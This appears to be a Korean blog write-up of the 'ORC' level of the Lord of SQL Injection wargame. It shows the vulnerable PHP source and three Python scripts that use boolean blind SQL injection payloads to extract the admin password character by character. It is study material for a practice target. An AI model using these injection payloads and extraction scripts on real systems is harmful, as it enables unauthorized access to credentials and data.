본문 바로가기

wargame/LOS

[LOS]4번 ORC

ORC


문제 형식은 지난번과 비슷하다.

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 

  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); // pw를 필터링한다

  $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
  // prob_orc 테이블에서 id가 admin이고 pw가 $_GET[pw]인 record의 pw를 select하는 쿼리 작성

  echo "<hr>query : <strong>{$query}</strong><hr><br>"; // 웹 상에 쿼리문 출력
  $result = @mysql_fetch_array(mysql_query($query)); // 쿼리를 실행하여 배열 형태로 $result에 저장

  if($result['id']) echo "<h2>Hello admin</h2>"; // $result['id']가 존재한다면 hello admin 출력

  $_GET[pw] = addslashes($_GET[pw]); // ' 등 앞에 \(backslash) 추가하여 $_GET[pw] 재정의
  $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
  // prob_orc 테이블에서 id가 admin이고 pw가 $_GET[pw]인 record의 pw를 select하는 쿼리 작성

  $result = @mysql_fetch_array(mysql_query($query)); // 쿼리를 실행하여 배열 형태로 $result에 저장

  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
  // $result['pw']가 존재하고 $result['pw']와 $_GET['pw']가 동일하다면 문제 해결!

  highlight_file(__FILE__); 
?>



우선 pw 뒤의 조건을 참으로 만들면, 크게 Hello admin이 출력된다.

문제를 어떻게 풀까 많이 고민했다. 처음에는 addshashes 함수를 우회해야 하는 문제인가 싶었다.
어떻게 우회하든 마지막 if문에서 $result['pw']와 $_GET['pw']가 동일해야 하므로 pw 자체를 알아내야 한다는 걸 깨달았다.
따라서 blind sql injection 방식으로 풀고자 마음먹었다.
만약 참인 조건이라면 처음 if문에서 Hello admin이 나오고, 거짓이면 나오지 않으므로 이걸 통해 차근차근 알아보았다.

우선 pw의 길이를 알아내야 하므로 대소비교를 통해 길이를 알아냈다.
이상한 점이 있었다. length(pw)가 15일 때도 참이고 8일 때도 참이었다.
이를 통해 prob_orc 테이블의 pw는 하나가 아님을 알았지만 어떻게 하면 admin의 pw를 찾을 수 있는지 처음에는 헷갈렸다.



우선 length가 8이라고 가정하고 해보았다.

import urllib.request
import re
import requests
 
if __name__=="__main__":
 
    for i in range(1, 9):
        for j in range(48, 123) : # 아스키 코드의 범위
            params = {"pw":"' or ascii(substr(pw, "+str(i)+", 1))="+str(j)+"#"} # 범위, 대상, key 변경
            cookies = {"PHPSESSID" : ""} # 쿠키 입력
            response = requests.get('https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php', cookies = cookies, params = params)
            
            find = re.findall("<h2>Hello", response.text)
            if find:
                print(chr(j), end="")
                break

참고 : 이렇게 코드를 쓸 때 한 가지 주의할 점이 있다.
url에 직접 입력할 때는 #가 주석이므로 %23으로 입력해야 했는데
python에서는 %23가 아닌 #으로 입력해야 주석으로 받아들였다.




결과는 실패

length가 15라고 가정하고 해보았다.


또 실패.

고민하다가 admin의 pw를 찾아낼 방법을 찾아냈다. 간단해보이지만 한동안 생각을 못했다.
이런 식으로 pw = '' or id = 'admin' and length(pw) = 15#' 만들면 id가 admin일 때의 pw의 정보를 알아낼 수 있다.

admin의 pw 길이는 8임을 알 수 있다.

import urllib.request
import re
import requests
 
if __name__=="__main__":
 
    for i in range(1, 9):
        for j in range(48, 123) : # 아스키 코드의 범위
            params = {"pw":"' or id = \'admin\' and ascii(substr(pw, "+str(i)+", 1))="+str(j)+"#"} # 범위, 대상, key 변경 
            cookies = {"PHPSESSID" : ""} // 쿠키 입력
            response = requests.get('https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php', cookies = cookies, params = params)
            
            find = re.findall("<h2>Hello", response.text)
            if find:
                print(chr(j), end="")
                break



이렇게 하면 문제해결!

+) 19.08.15
좀 더 빠르게 pw를 찾는 방법

from urllib.parse import unquote
from bs4 import BeautifulSoup
import re
import requests
 
if __name__=="__main__":
    for i in range(1, 9):
        c = 0
        for j in range(1, 8) :
            query = "'or id = 'admin' and substr(lpad(bin(ascii(substr(pw,"+str(i)+",1))),8,0),"+str(j)+",1) = 1%23"
            params = {"pw": unquote(query)}
            cookies = {"PHPSESSID" : ""}
            response = requests.get('https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php', cookies = cookies, params = params)
            html = response.text
            soup =  BeautifulSoup(html, 'html.parser')
            if soup.select('h2') :
                c += pow(2, 8-j)
        print(chr(c), end="")


'wargame > LOS' 카테고리의 다른 글

[LOS]6번 DARKELF  (0) 2019.07.21
[LOS]5번 WOLFMAN  (0) 2019.07.12
[LOS]3번 GOBLIN  (0) 2019.07.09
[LOS]2번 COBOLT  (0) 2019.07.09
[LOS]1번 GREMLIN  (0) 2019.07.09